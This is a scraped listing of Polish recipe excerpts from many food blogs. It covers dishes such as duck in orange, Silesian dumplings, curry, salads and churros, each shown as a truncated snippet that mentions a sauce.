niedosyt zarówno ten głodno - żołądkowy jak i ten, że dzień bez krzątania się w kuchni jest dniem straconym. Ostatnio miałem okazję jeść najlepszą na świecie pizzę z pesto, zamiast sosu pomidorowego. Właśnie to zainspirowało mnie do stworzenia tej szybkiej przekąski. Co niezbędne? Pesto: -rukola -ząbek czosnku -orzeszki pinii (garść); opcjonalnie orzechy nerkowca -oliwa; dwie łyżki -parmezan; łyżeczka -pieprz, sól -limonka

BaRepas
Raviolo z kozim serem, szpinakiem i płynnym żółtkiem ze szpinakową sałatką z brzoskwinią. 253

szpinak wykładamy brzoskwinię i uprażone nerkowce. Polewamy winegretem i posypujemy parmezanem. Winegret. Dwie łyżki oliwy, łyżeczka octu cydrowego, łyżka syropu z puszki brzoskwiń oraz sól i pieprz łączymy razem. Sos do raviolo. Na rozpuszczone klarowane masło wrzucamy kilka listków bazylii lub szałwii, solimy. Gotowe.  Ciasto cieniutko wałkujemy, kroimy na kwadraty, na jednym tworzymy kopiec z sera i szpinaku

BaRepas
Kurczak w cieście francuskim na dwie nuty z surówką z marchwi i brzoskwini. 206

łyżeczkę masła klarowanego, szklimy cebulę i por, solimy, pieprzymy, skrapiamy octem. Gdy odparuje wrzucamy pieczarki z łyżką masła, przykrywamy i dusimy 40 minut. Po tym czasie dodajemy kilka kropel sosu sojowego i na dużym ogniu, mieszając redukujemy płyn. Odstawiamy. Kurczak. Na patelni klarowane masło solimy i rozgrzewamy. Filet marynowany w oliwie, świeżym tymianku i czosnku smażymy aż skórka się zezłoci

BaRepas
Francuska kaczka w pomarańczach z sosem czekoladowym z porzeczkami. 185

stopniach; do miękkości. W międzyczasie podlewamy kaczkę tłuszczem z dna brytfanki. W ostatnim etapie, ściągamy przykrycie obkładamy kaczkę plastrami pomarańczy i pieczemy do uzyskania ładnego, złocistego koloru. Sos. Na patelni, która została nam po smażeniu kaczki, wlewamy kilka łyżek wina; czekamy, aż alkohol się zredukuje. Jeżeli nie wszystko odejdzie od dna, podlewamy jeszcze odrobiną wody gazowanej. W rondelku karmelizujemy dwie

BaRepas
Sałatka z tuńczyka z grzankami. 324

Zacząłem ćwiczyć i zwracać uwagę na to co i jak jem. Efekt - ponad 40 kg mniej i, co najważniejsze, chęć do życia. Dziś lekka kolacja. Czego potrzebujemy? -tuńczyk w sosie własnym -kukurydza -ogórek kiszony starty -jogurt naturalny, łyżka -sól, pieprz -oliwa -pieczywo pełnoziarniste; grzanka Tuńczyka, kukurydzę, ogórka solimy i pieprzymy, łączymy z jogurtem. Grzankę skrapiamy oliwą

BaRepas
Falafel z sosem ogórkowym z chrzanem i grillowanym kurczakiem z czosnkiem niedźwiedzim 213

papierze pieczemy w piekarniku ok 20 minut w temperaturze 200 stopni. Filet. Mięso marynujemy w oliwie, cytrynie i czosnku niedźwiedzim z dodatkiem soli. Smażymy na patelni grillowej. Sos. Zielony ogórek-część bez gniazda-ścieramy na tarce. Dodajemy centymetr startego świeżego chrzanu, kilka kropel cytryny i pół łyżeczki miodu. Łączymy z jogurtem naturalnym

BaRepas
Kurczak pieczony z pieczarkami, słodkimi ziemniakami i jarmużem. 240

patelnią i co kilkanaście sekund przewracamy, tak by podgrzewać na przemian jedną z patelni. Gdy kurczak dojdzie wyciągamy go i przekładamy do drugiego naczynia żaroodpornego. Porcjujemy. Ziemniaki wrzucamy do sosu, który został po kurczaku, obtaczamy je i przekładamy do drugiego naczynia, gdzie odpoczywa kurczak. Dodajemy pieczarki i wkładamy jeszcze na 20 minut do piekarnika

BaRepas
Kurczak z rożna! 278

Rożen w piekarniku przetestowany! ;-) Zapraszam na chrupiącego kurczaka z rożna! SKŁADNIKI: -1 szt kurczaka - 2 łyżki octu winnego - 3 łyżki oleju - 1 łyżka przyprawy do kurczaka - 1 łyżka sosu sojowego - imbir - sok z cytryny - sproszkowane chili Kurczaka nacieramy mieszanką przypraw i marynujemy 3 godziny w lodówce. Pieczemy na rożnie (ten ważył 2 kg) piekłam 1,5 godziny w temp

SMYKWKUCHNI
kotlety marchewkowo-ziemniaczane z serem... 219

duże smażyć na rumiano z każdej strony i odkładać na ręcznik papierowy bardzo smaczne kotlety na obiad ale też i smakują na zimno, można podać np. z sosem czosnkowym, keczupem..................SMACZNEGO

W Mojej Kuchni Lubię
Sałatka śledziowa z warzywami 168

jogurtu naturalnego 2 ugotowane  ziemniaki WYKONANIE Śledzie, dwa jajka, jeden ziemniak, jedna marchewka, wszystko kroimy w kostkę. Do tego dodajemy groszek i kukurydzę. Z jogurtu i majonezu robimy sos. Mieszamy z  warzywami. Wykładamy na półmisek. Pozostałą marchewkę , jajko i ziemniak ścieramy na grubych oczkach. wszystko oddzielnie. Dekorujemy sałatkę startymi warzywami i jajkiem. SMACZNEGO  Czekam na Państwa opinie

W kuchennym oknie Ewy
Kluseczki śląskie 160

dołeczek. W garnku zagotować wodę , partiami wrzucać kluseczki . Gotować na małym ogniu około 4 minut od wypłynięcia. Przelać na sitku zimną wodą i polać roztopionym masłem. Podawać z dowolnym sosem . Smacznego

Sama słodycz i szczypta chili
Żeberka z miodem , kakao i chilli 175

wodą i dusić do miękkości . Gdy mięso zmięknie wyjąć je na talerz a z wywaru zrobić sosik ( podlać jeszcze wodą rozrobioną z odrobiną mąki, gęstość zależy już od was ) Sos powinien mieć ładny brązowy kolor . Smacznego

Sama słodycz i szczypta chili
Kurczak curry z ananasem i papryką 297

obrać i wykroić środkiem – pokroić w kostkę, a następnie dodać do mięsa. Dusić do miękkości. Doprawić solą, pieprzem i słodką papryką.  Mąkę rozrobić w wodzie i zagęścić nią sos. Podawać z ugotowanym ryżem. Smacznego, Anulla

Fabryka pomysłów
Ciastka serowo-cebulowe 222

Ciasteczka o zdecydowanym smaku, idealny dodatek do różnych sosów, pomidorowego, czosnkowego, do czerwonego barszczyku, piwa itp.    Składniki: -3 szklanki mąki -10 dkg masła -2 żółtka i jedno całe jajko -2 czubate łyżki kwaśnej śmietany -1,5 dkg drożdży -1/2 łyżeczki cukru -łyżeczka soli -łyżeczka ostrej papryki mielonej -3 łyżki granulowanej cebuli -10 dkg startego drobno żółtego sera

Maminek kulinarny
Sum cytrynowo-pomarańczowy pieczony, z ziemniaczkami 212

mielonym pieprzem prosto z młynka. Dodaj resztę pietruszki, posyp sumakiem. Wyciśnij na rybę kilka kropel cytryny.  Dodaj vinaigrette pomarańcza i limonka. Na koniec oliwę z oliwek.  Powstanie sos podczas duszenia, który nie odparuje,ale cały sum tym nasiąknie, dając nam dużo zdrowia! Tak przypawiona rybę, zawiń w papier, można pomóc sobie np. wykałaczkami . Do piekarnika

Z Kuchni Do Kuchni
Makaron z włoską nutą 197

oliwki, grubo zmielony pieprz i smażyć, aż składniki będą gorące (3-5 min na średnim ogniu). Dolać zostawioną wodę z gotowania makaronu i chwilę dusić tak, aby powstał lekki sos. Makaron przełożyć na patelnię, dodać pietruszkę i parmezan, wymieszać

Mix smaku
Śledzik po meksykańsku 177

miód, wymieszać, zagotować i odstawić do wystudzenia. Śledzie pokroić na małe kawałki, paprykę i ogórki pokroić na dość drobne paseczki, a umyta natkę pietruszki posiekać i dodać do sosu pomidorowego. Dodać również kukurydzę z fasolą i wymieszać. Całość przełożyć do salaterki (miseczki), przykryć i odstawić do lodówki na 4-8 godzin

Mix smaku
Moje spagetti 189

bazylii (można dodać świeżą pokrojoną bazylię w momencie dodawania papryki), doprawić do smaku, solą pieprzem cayenne i chwilkę poddusić, mąkę ziemniaczaną rozrobić w niewielkiej ilości wody i wlać do sosu delikatnym strumieniem, energicznie mieszając, zagotować i zestawić z ognia. Makaron ugotować według przepisu na opakowaniu

Mix smaku
Zapiekanka brokułowa 1154

podwójny filet z kurczaka * 200 g sera żółtego * 3 łyżki śmietany 18% * 2 jajka * sól, pieprz, papryka mielona słodka i ostra marynata do mięsa * 3 łyżki oleju * 3 łyżki sosu sojowego * 1 łyżka miodu * 1-2 ząbki czosnku przeciśniętego przez praskę * 1/2 łyżeczki mielonej papryki słodkiej * 1/4 łyżeczki mielonej papryki ostrej * 1 łyżeczka oregano * sól, pieprz Sposób przygotowania Mięso umyć

Mix smaku
Kluski śląskie 176

zamieszać i gotować, od momentu wypłynięcia gotować na średnim ogniu ok. 5 min. Wyjąć kluski na cedzak lub bezpośrednio na talerze. Podawać ze skwarkami z chudego boczku lub z sosem

Mix smaku
Szynka pieczona z liściach laurowych 214

końcem pieczenia zdjąć pokrywę. Piec w temp. 190 stopni ok. 1 h 20 min. Po wyłączeniu piekarnika zostawić mięso jeszcze na ok 10 min. Z powstałego wywaru można przygotować sos do mięska

Mix smaku
Gaeng keow wan nua 195

jakieś 10 min. Składniki: 2 łyżki oliwy, 2 ząbki czosnku, 1 łyżka zielonej pasty curry, 225 g wołowiny pociętej w cienkie plastry, 2 czerwone chili, drobno pokrojone, 1 łyżeczka sosu rybnego (w oryginalnym przepisie są 2 łyżki, mi wystarczy jedna), kabaczek pokrojony w plastry lub kostkę, 1 łyżka cukru (ja nie dodałam), 225 ml mleczka kokosowego, liście bazylii (dekoracja

Kulinarna rozmowa
Curry z mleczkiem kokosowym 184

pozwalamy aby mięso się dusiło w aromacie przypraw. Po około 20 minutach dodajemy pomidory gotujemy chwilę i dodajemy mleko kokosowe. Sprawdzamy mięso, jeśli jest miękkie czas doprawić solą sos.  Dodajemy odrobinę soli do smaku. Podajemy z ryżem

Kulinarna rozmowa
Grillowane pieczarki 193

kapelusze i w środek wkładamy łyżeczką mieszankę czosnek/chilli/bazylia. Kiedy przejadą aromatem możemy je serwować. Nóżki pieczarek można drobno posiekać wrzucić do rondelka, dodać masło i zrobic z nich sos. Życzę udanego grilla

Kulinarna rozmowa
Małże - naturalnie 197

czosnku Pieprz Natka pietruszki Plaster cytryny W garnku rozgrzewamy masło. Na to wsypujemy czosnek a następnie małże. Czekamy kilka chwil aż się otworzą. Opruszamy pieprzem I pietruszką. Podajemy z sosem w którym się dusiły I kawałkiem cytryny. Naturalnie I pysznie :-) Smacznego

Kulinarna rozmowa
Mini pizze z salami, oliwkami, papryką i brokułem 207

części. Z każdej formujemy kulkę, rozpłaszczamy i lekko rozwałkowujemy na placek.. Blaszkę wykładamy papierem do pieczenia i układamy na nim ciasto.  Pomidory miksujemy blenderem, dodajemy ketchup. Takim sosem polewamy ciasto. Posypujemy startym żółtym serem. Układamy plasterki salami, posypujemy pokrojoną papryką czerwoną i oliwkami czarnymi. Różyczki brokuła obgotowujmy wcześniej ok. 2 minut. Układamy na pizzach. Pieczemy ok. 17 minut

Aga w kuchni
Marchewka to zdrowie! 226

marchewek 1 średnia cebula 2,3 łyżki oliwy z oliwek lub zwykłego oleju pół szklanki wody kostka rosołowa (lub własny bulion) 2 łyżki gęstej śmietany ( najlepiej do zup i sosów), może być też 18% garść posiekanej natki pietruszki Przygotowanie: Skrój marchewkę w słupki i wrzuć do miseczki. Pokrój cebulę w drobną kosteczkę. Na szerokiej i dość głębokiej patelni rozgrzej oliwę

Gotowanie to kochanie
Cuksy, cuksy i tarta czekoladowo - limonkowa Nigelli 175

Jakiś czas temu odkurzyłam książkę kucharską Nigelli Lawson, którą rzuciłam w kąt zniechęcona ogromem przepisów z sosem Worcestershire , którego nie mogłam znaleźć po prostu NIGDZIE. Lecz wraz z noworocznymi postanowieniami, i ona wróciła do łask. Całe szczęście! Z każdym kolejnym wypróbowanym przepisem zachwyca mnie coraz bardziej! Od pizzy na miękkim spodzie ( o której napiszę niedługo) uzależniłam się od razu

Gotowanie to kochanie
Ah, mi casa ! Smak Wysp Kanaryjskich - gambas al ajillo 206

przysmaków, które podbiły moje podniebienie.  Na początek - moja ulubiona przystawka. Podawana była zgodnie we wszystkich restauracjach i chyba nigdy mnie nie zawiodła. Gambas al ajillo, czyli krewetki w sosie czosnkowym. Serwowane na małych patelenkach, z jeszcze skwierczącym olejem, rozpływały się w ustach. Moim pierwszym pomysłem po przyjeździe do domu było oczywiście podjęcie próby przyrządzenia ich dla rodzinki. Czy się

Gotowanie to kochanie
Rozpływający się w ustach, portugalski cynamonowy ryż na mleku 208

buzie.  Zakasajcie rękawy i DO DZIEŁA! PORTUGALSKI RYŻ NA MLEKU Z CYNAMONEM  Czas gotowania : 40 minut, na 4-6 porcji Składniki: 100 g ryżu krótkoziarnistego (ja użyłam SOS Classic- ryżu okrągłoziarnistego) 1 litr mleka 2 łyżeczki skórki z cytryny, startej 70g cukru (1/3 szklanki) 5 jaj cynamon Przygotowanie: Odlej 3 łyżki mleka, a resztę zagotuj ze skórką cytryny

Gotowanie to kochanie
PANCAKES! 2 przepisy podstawowe 207

porcji ciasta. Smaż małe placki, z obu stron kilka minut. Zobaczysz, jak placuszki rosną na Twoich oczach! PANCAKES PODAWAJ Z KAWAŁKIEM MASŁA, SYROPEM KLONOWYM, Z AGAWY, MIODEM LUB DOWOLNYM SOSEM  Smacznego i pięknego dnia! Paulina Popularne posty : Muffinki marchewkowe na troski Super prosta pizza na miękkim spodzie - uzależniająca! Przed śniadaniem Rozpływający się w ustach, portugalski cynamonowy ryż na mleku

Gotowanie to kochanie
Mini karmelowe jabłeczniki w gościnie 198

łyżeczkę jabłek z karmelem (w zależności jak duże chcesz mieć muffiny) i posyp kruszonką.  Piecz ok. 18-20 minut. Odstaw do ostygnięcia. Możesz również podawać polane domowym sosem karmelowym . Smacznego! Paulina P.S.  Już niebawem podzielę się z Wami pomysłem na domowy prezent w słoiczku!  Popularne posty : Kakao, czekolada, kokos i... piankowa niespodzianka Super prosta pizza na miękkim

Gotowanie to kochanie
Placki z zielonego groszku 187

Zielone placuszki z groszku to fajny pomysł zarówno na śniadanie, obiad, jak i kolację. Dobrze komponują się z sosem czosnkowym, koperkowy lub po prostu posypane koperkiem :) ~  Placki z zielonego groszku  ~ Składniki: puszka zielonego groszku jajko łyżeczka mąki pełnoziarnistej sól, pieprz, czosnek Wszystkie składniki dokładnie miksujemy. Małe porcje przekładamy łyżeczką na lekko natłuszczoną, rozgrzaną patelnię i formujemy placuszki. Smażymy

Kuchenny Skrawek Nieba
Makaron z kurczakiem, szpinakiem i suszonymi pomidorami 409

koniec dodać posiekany ząbek czosnku i szpinak i pastę z suszonych pomidorów. Podsmażyć chwilę do rozmrożenia brykietu i połączenia się smaków. Doprawić tymiankiem. Następnie połączyć ze śmietaną.  Sos wymieszać z ugotowanym i odcedzonym makaronem. Smacznego, Anulla

Fabryka pomysłów
Paluszki drożdżowe przekąska nie tylko na impreze - przepis 295

cukru  80 ml oleju  1 rozmącone jajko do smarowania  do posypania np. mak, sezam, czarnuszka, parmezan, ulubione zioła, sól różowa (wedle naszego uznania ) Świetnie pasują z sosem np. koperkowym, który robi się bardzo szybko mieszając jogurt grecki ze świeżym koperkiem, świeżo zmielonym pieprzem, solą można również dodać ząbek startego czosnku. SPOSÓB WYKONANIA : - drożdże rozkruszamy dodajemy cukier oraz

Basia w kuchni
Muszle z sosem maślano - czosnkowym 222

Muszle lubię bardzo. Staram się je robić na różne sposoby. Tym razem małże w sosie maślano czosnkowym. To danie, które nie wymaga ani specjalnych umiejętności ani dużo czasu i przygotowań, a wychodzi bardzo smaczne. Polecam. inspiracją był przepis z  tej  strony składniki   (na 2 porcje) 1 kg małży  6 ząbków czosnku posiekanego 1/2 szklanki

Stare Gary
MOJE WARIACJE NA TEMAT SAŁATKI GRECKIEJ 285

Sałaty bywają u nas często, gęsto, tak z 300 razy do roku. Zwykle powtarzamy ulubione smaki ale bywa, że zmieniamy w nich niektóre składniki, sosy itp. Wariacji na temat sałaty greckiej jest mnóstwo, przedstawiałam już jej jedną wersję dzisiaj kolejna (nie są to jeszcze wszystkie). Dzisiejsza jest również bez sałaty lodowej (która bywa najczęściej) jest na bazie rucoli i roszponki

Smaczne Zdrowe
S jak... smakowity sylwester! 289

kiedy puszczą sok, dodajemy mięso i dokładnie mieszamy, by nie pozostały większe kawałki (zbitki). Smażymy jeszcze ok. 5 min., a następnie dodajemy śmietanę, rozprowadzoną w mleku mąkę i przyprawy. Sos zagotowujemy i jeśli jest zbyt rzadki, chwilę odparowujemy. Jeśli natomiast zgęstnieje za bardzo, dolewamy trochę mleka. Próbujemy i w razie potrzeby doprawiamy. Studzimy. Metalową formę do muffinów natłuszczamy. Wyrośnięte ciasto

Ratunku obiad
SOS TATARSKI MOCNO GRZYBOWY 191

składniki (łącznie z ugotowanymi na twardo jajkami) kroimy w dość drobną kostkę. Cebula musi być naprawdę drobniuteńka. Dodajemy majonez i przyprawy. Mieszamy i... gotowe! :) Nie ma nic pyszniejszego niż sos tatarski! Szczególnie ten konkretny (szybki, łatwy, mocno grzybowy). Grzyby grają pierwsze skrzypce i tak ma być! :) Borowiki i podgrzybki czarują pod pierzynką z majonezu a pieczarki i korniszony

Wypisz Wymaluj
Fasolka w sosie pomidorowym 152

matura zbliża się wielkimi krokami). Dodatkowo, wraz z moimi siostrami postanowiłyśmy wrócić do regularnych ćwiczeń fizycznych. A wy macie jakieś postanowienia noworoczne? Na śniadanie, mało śniadaniowe danie :) ~ Fasolka w sosie pomidorowym ~ Składniki: puszka fasolki pomidor przyprawy: sól, pieprz, czosnek, oregano, papryka słodka i ostra Pomidora obieramy ze skórki, kroimy w kosteczkę, wrzucamy do rondelka i gotujemy aż lekko zmięknie. Fasolkę

Kuchenny Skrawek Nieba
Mini tortille - przekąska na imprezę 274

układamy rukolę, nakładamy mięso i zwijamy spinając końce wykałaczkami. Podane składniki są tylko przykładowe, mięso mielone można zastąpić kawałkami kurczaka lub krewetkami, rukolę zastąpić inną ulubioną sałatą, majonez dowolnym sosem, np. imbirowym , przyprawę do tacos zamienić na przyprawę do grilla, dodać ogórka, pomidora itp. Wszystko zależy od naszej wyobraźni. Smacznego

chwile dla mnie
Empanada z kurczakiem 369

dusimy na wolnym ogniu przez 30 minut. Pod koniec odkrywamy pokrywkę i pozwalamy wodzie trochę wyparować. Ale uwaga efektem naszej pracy nie jest wysuszony kurczak z warzywami, potrzebujemy jeszcze sosu:-). Odstawiamy do ostudzenia. Gdy mięso już jest ostudzone zabieramy się za "rwanie" go w małe kawałeczki. A na końcu dodajemy puszkę groszku i kukurydzy.   Gdy studzi się nam farsz

Smaki Brazylii
Empanada z sardynkami 133

Była już empanada z kurczakiem czas na empanada z sardynkami! Składniki i farszu: 2 puszki sardynek w sosie pomidorowym 1 papryka zielona (może być również czerwona) 1 cebula czerwona 1 pomidor średniej wielkości pęczek świeżej kolendry 2 kostki knorr (może być rybny, może również i drobiowy!) 1 łyżka koncentratu pomidorowego pół puszki groszku zielonego (może być więcej, kwestia smaku) pół

Smaki Brazylii
Moqueca de bacalhau 225

ząbki czosnku 4 ziemniaki 2 cytryny 6 łyżek oleju palmowego dende 2 łyżki kuminu w proszku 1 kostka knor (opcjonalnie jeśli lubimy potrawy bardziej słone) łyżka sosu chilli lub tabasco (opcjonalnie) kolendra zielona świeża   Przygotowanie bacalhau: Aby przyrządzić bacalhau koniecznie należy wymoczyć go przez noc w wodzie, tak aby pozbawić go nadmiaru soli.  Wrzucamy bacalhau do wody

Smaki Brazylii
Orzechowa trufla z awokado 187

wyjęciu, na wierzchu zrobiłam pajęczynkę z rozpuszczonej (w mikrofali) czekolady. Zawsze uważałam, że awokado „lubi” najbardziej takie zestawienie – olej sezamowy – sok z cytryny – sos sojowy. Do tego zestawu dodam drugi – mus orzechowy z czekoladą. Namawiam wszystkich do wypróbowania tego przepisu, naprawdę Wasze kubki smakowe nie doznają zawodu. Są takie potrawy, które nie potrzebują zachwalania

mojewypiekiinietylko
Kartoflak 366

masę, wyrównać powierzchnię. Piec w piekarniku nagrzanym do 180º C około 1,5 godziny. Podawać na gorąco, pokrojony na kawałki. Jako dodatek może być kwaśna śmietana, surówka, różnego rodzaju sosy – grzybowy, pieczarkowy… Jeszcze lepszy jest na drugi dzień, pokrojony na kawałki i odsmażony… oczywiście, o ile zostanie. Możecie mi wierzyć, mój Tato wie co dobre. Smacznego. Wydrukuj

mojewypiekiinietylko
Churros z masą migdałową 182

Churros, to pyszne hiszpańskie ciasteczka, z ciasta parzonego, smażone na głębokim tłuszczu. W wersji oryginalnej - podawane na śniadanie, z sosem czekoladowym. U mnie - churros z masą migdałową. Składniki na ciasto: - 410g mąki pszennej - 200g masła - 4 jaja - 500 ml wody - 1 płaska łyżeczka proszku - 2 łyżki cukru - szczypta soli - olej do smażenia     Składniki na masę migdałową: - 200g mielonych

mojewypiekiinietylko
Kurczak pieczony na butelce 234

wstawić do piekarnika nagrzanego do 180°C na 1 godzinę 20 minut. Przyjmujemy czas pieczenia – na 1 kg kurczaka – 1 godzina. Co jakiś czas kurczaka polewamy sosem z brytfanki i obracamy. Po wyjęciu z piekarnika, zanim go pokroimy, odczekajmy ok. 10 minut, aby wszystkie soki się wchłonęły. Pamiętam z rodzinnego miasta „budkę”, w której moi Rodzice kupowali kurczaki

mojewypiekiinietylko
Sałatka drobiowa z liczi 210

ziemniaki sałatkowe (ok. 1kg) - puszka liczi w syropie - 1 czerwona cebula - 1-2 ząbki czosnku - świeży koperek - szczypiorek - limonka - sól i pieprz - olej sezamowy - papryki różnego koloru Marynata (ciemny sos sojowy, olej arachidowy, papryka wędzona, pieprz, sok z cytryny) Piersi drobiowe wcześniej zamarynowałam i włożyłam do lodówki. Po ok. 2 godzinach zawinęłam w folię aluminiową i upiekłam w piekarniku nagrzanym

mojewypiekiinietylko
Wołowina pieczona w niskiej temperaturze 238

niskiej temperaturze nie musiałam szukać przepisu. Wiedziałam, że znajdę go u Basi Ritz i będzie to, tzw. pewniak. Skorzystałam z przepisu na Rostbef pieczony w niskiej temperaturze z sosem rémoulade.   Składniki: - 1 kg ładnego mięsa wołowego - sól - świeżo mielony czarny pieprz - słodka czerwona papryka - rozmaryn (dałam suszony) - olej rzepakowy   Mięso wyjmujemy z lodówki na 2-3 godziny przed

mojewypiekiinietylko
Sushi owocowe 178

kroimy na 2 cm porcje. No i jak? Sushi na słodko, jako przystawka, czy deser? Dla osób, które nie lubią smaku, czy zapachu nori też jest wyjście. Z dodatkiem sosu truskawkowego słodzonego muscovado sushi owocowe nabiera wyrazistości, dodatkowo eksponując smak truskawek, a jednocześnie tłumiąc smak nori. Sądzę, że ta potrawa ma szansę zyskać zwolenników wśród wegetarian… i nie tylko. Smacznego

mojewypiekiinietylko
Majonez domowy 200

razem, to nie danie, bo samego raczej się nie jada. Często wykorzystywany do sałatek, surówek, jako baza do sosów na zimno… i nie tylko. Są dania, które „zadowolą” się kupnym, ale ja wyjątkowo potrzebowałam… majonezu domowego.   Składniki: - 250ml oleju z orzechów włoskich - 1 jajko - 1 łyżka octu winnego - 1 łyżeczka musztardy Dijon - ½ łyżeczki soli - ½ łyżeczki cukru - szczypta curry - szczypta

mojewypiekiinietylko
Kluski śląskie z pesto bazyliowo migdałowym 172

Wspaniały dodatek do obiadu, ale nie tylko. Mogą również stanowić samodzielne danie – kluski śląskie. Możliwości ich podania jest bardzo wiele – do mięs, ze skwarkami, z sosem pieczarkowym, czy jak u mnie – kluski śląskie z pesto bazyliowo migdałowym.   Składniki: - ugotowane ziemniaki (miałam ok. 1kg) - mąka ziemniaczana ¼ wagi ziemniaków - sól (do gotowanej wody)   W dużym garnku zagotowujemy posoloną

mojewypiekiinietylko
Pieczarki pod migdałowo pistacjową pierzynką 194

wiem, jak Wy, ale ja bardzo lubię pieczarki i to pod każdą postacią. Smażone, pieczone, gotowane, grillowane, w sosie, pasztecie… i nie tylko. Pieczarki pod migdałowo pistacjową pierzynką należą do moich ulubionych.   Składniki: - 13 dużych pieczarek (portobello) - 220g mielonych migdałów - ok. 40g pistacji - 2 pory - 2 jajka - sól - olej arachidowy   Pieczarki dokładnie oczyszczamy przy użyciu pędzelka. Łyżeczką wydrążamy

mojewypiekiinietylko
Chili con carne 175

większego garnka dodajemy cynamon, pokrojone papryki, suszone pomidory oraz usmażone pieczarki. Na patelnię po mięsie przekładamy z dwóch puszek pomidory. „Odzyskujemy” smaki pozostałe po mięsie i lekko redukujemy sos, przelewamy do garnka, mieszamy. Dodajemy odsączoną z zalewy kukurydzę, kolejną papryczkę chili (zieloną), pokrojony pomidor (opcjonalnie, po prostu został mi jeden), oczywiście co jakiś czas mieszamy. Fasolę płuczemy na sicie, dodajemy

mojewypiekiinietylko
Kotlety z ryżu miksowanego 231

bułce tartej kotlety chłoną więcej tłuszczu). Smażymy na rozgrzanym oleju kokosowym, z obu stron na rumiano. Dosmażamy pod przykryciem. Kotlety z ryżu miksowanego mogą stanowić samodzielny posiłek. Wystarczy dodatek sosu, np. pieczarkowego, pomidorowego lub… jakiegokolwiek. Niezastąpiona będzie oczywiście surówka – każda pasuje. Możemy je podać także do mięsa, czy ryby, z jajkiem sadzonym… Ich zaletą jest to, że możemy

mojewypiekiinietylko
“Anielskie” smoothie 198

względu na jego dobroczynne właściwości) o pomarańczowym, czasem zielonkawym kolorze i żółtym lub różowym miąższu. Owoce te mają czarne, okrągłe nasiona. Są one jadalne, choć lekko gorzkawe, nadają sosom i sałatkom ciekawy, ostry smak, dlatego warto włączyć je do kulinarnych poczynań. Papaje mogą być wykorzystywane na wiele różnych sposobów. Możemy przygotowywać z nich sałatki owocowe, wyjąć nasiona i po skropieniu

mojewypiekiinietylko
Jarski gulasz z pieczarkami 189

Chwilę smażyć, aby uwolnić aromat, następnie dodać sparzone, obrane ze skórki i pokrojone w kostkę tamarillo oraz pomidory. Dołożyć pokrojone w półtalarki pory. Dusić na patelni do chwili, aż sos się zredukuje (ok. 10 minut). Przełożyć do garnka. Po dodaniu wszystkich składników garnek postawić na kuchni, na średnim ogniu. Doprawić do smaku solą, krótko zagotować. Posypać natką pietruszki. Do jarskiego

mojewypiekiinietylko
Yorkshire pudding 252

chwilę w wyłączonym piekarniku, przy uchylonych drzwiczkach. Yorkshire pudding należy, moim zdaniem, do najsmaczniejszych potraw kuchni brytyjskiej. Brytyjczycy jedzą go na gorąco, zamiast ziemniaków do pieczeni lub mięs w sosie. Jest jedną z potraw tradycyjnego obiadu świątecznego, zwłaszcza w Boże Narodzenie. Upieczone puddingi mają kształt czarek lub kubków. Chrupiące, delikatne i mięciutkie w środku stwarzają wiele możliwości ich podania

mojewypiekiinietylko
Szpecle – Spätzle 177

zimną wodą. Gotowe szpecle przekładamy, najwygodniej sitem metalowym, do zimnej wody i hartujemy. Sposób podania szpecli zależy od gustu. Na słodko, z owocami, czy na słono, z mięsem, sosem, boczkiem, jajkami, do zup… i nie tylko. Wszystkie wersje są pyszne. Szpecle, to danie, które się przygotowuje bardzo szybko z użyciem niewielkiej ilości składników. Przysmażone na masełku, z dodatkiem rumianej

mojewypiekiinietylko
Zupa gołąbkowa 229

talarki - marchewkę i w kostkę - korzeń pietruszki. Po ok. 10 minutach dodajemy ryż jaśminowy, następnie dokładamy mięso z patelni. Na tą samą patelnię przekładamy pomidory z puszki, lekko redukujemy sos. Pomidory przekładamy do zupy, doprawiamy, w miarę potrzeby, solą i pieprzem, posypujemy roztartym w dłoniach majerankiem. Podajemy według gustu – z natką pietruszki, pieczywem – z czym, kto lubi. Zupa gołąbkowa

mojewypiekiinietylko
Surówka z ogórka i papryki 221

jest zasobny w witaminy, czy minerały. Jako ciekawostkę dodam, że „działanie askorbinazy zostaje zniwelowane w kwaśnym środowisku. Jeśli więc do surówki dodamy np. ocet winny albo np. sos winegret działanie askorbinazy jest zniwelowane.” Niestety smak surówki będzie już inny, co nie każdemu odpowiada. Jedzmy więc wszystko, ale… z umiarem i rozsądkiem. Smacznego.     Wydrukuj przepis The post Surówka

mojewypiekiinietylko
Pieczone kasztany 176

lekko przestygną (po ok. 2 min.) jeszcze ciepłe obieramy z łupinek. Pieczone kasztany, to najłatwiejszy i najprostszy sposób ich podania. Można z nich przygotować desery, zupy, sosy… i nie tylko. Kupione, muszą być w krótkim czasie przygotowane, zostawione – wyschną lub spleśnieją. Upieczone są miękkie, mają słodki, lekko orzechowy smak. Można je zjeść same, z miodem, syropem klonowym, albo oprószone

mojewypiekiinietylko
Sałatka z selerem konserwowym i ananasem 231

kostkę, wrzucamy do głębokiej miski. Ananasa, ser żółty  również kroimy  w kostkę. Seler i kukurydzę odcedzamy dodajemy do pozostałych składników.  Z majonezu , jogurtu i curry robimy sos, dodajemy do sałatki mieszamy. sałatka gotowa do spożycia zaraz po przygotowaniu. SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
szybkowar-gołąbki bardzo smaczne... 195

gotować 30 minut - z szybkowara wyją najlepiej po godzinie gołąbki są z szybkowara miękkie, smaczne i nie rozpadają się, takie lubimy zjeść do pieczywa z masłem i bez sosu..............SMACZNEGO

W Mojej Kuchni Lubię
WINNE ŚLEDZIE W SOSIE POMIDOROWYM Z RODZYNKAMI 220

Odstawiamy na noc. Na drugi dzień na patelni szklimy cebulę pokrojoną w piórka. Dodajemy koncentrat pomidorowy, rodzynki. Doprawiamy solą i cukrem do smaku. ma byc delikatnie słodkie. Tak przygotowanym sosem zalewamy osączone z winnej zalewy śledzie.Mozna spozywać po ok 2 godzinach, najsmaczniejsze na drugi dzień

Z Majeczką w kuchni
Ryba po węgiersku 166

pokrojoną w kółka cebule, owoce suszone i gotować około 30 minut Oliwę, koncentrat paprykę słodką, zmiksować i dodać do  gotowanego wywaru. Zagotować, zalać usmażone ryby – można zalewać gorącym sosem. Przygotować około 4dni przed podaniem

Garnkowe fanaberie
Imprezowa przekąska-pomidory z mozzarellą 193

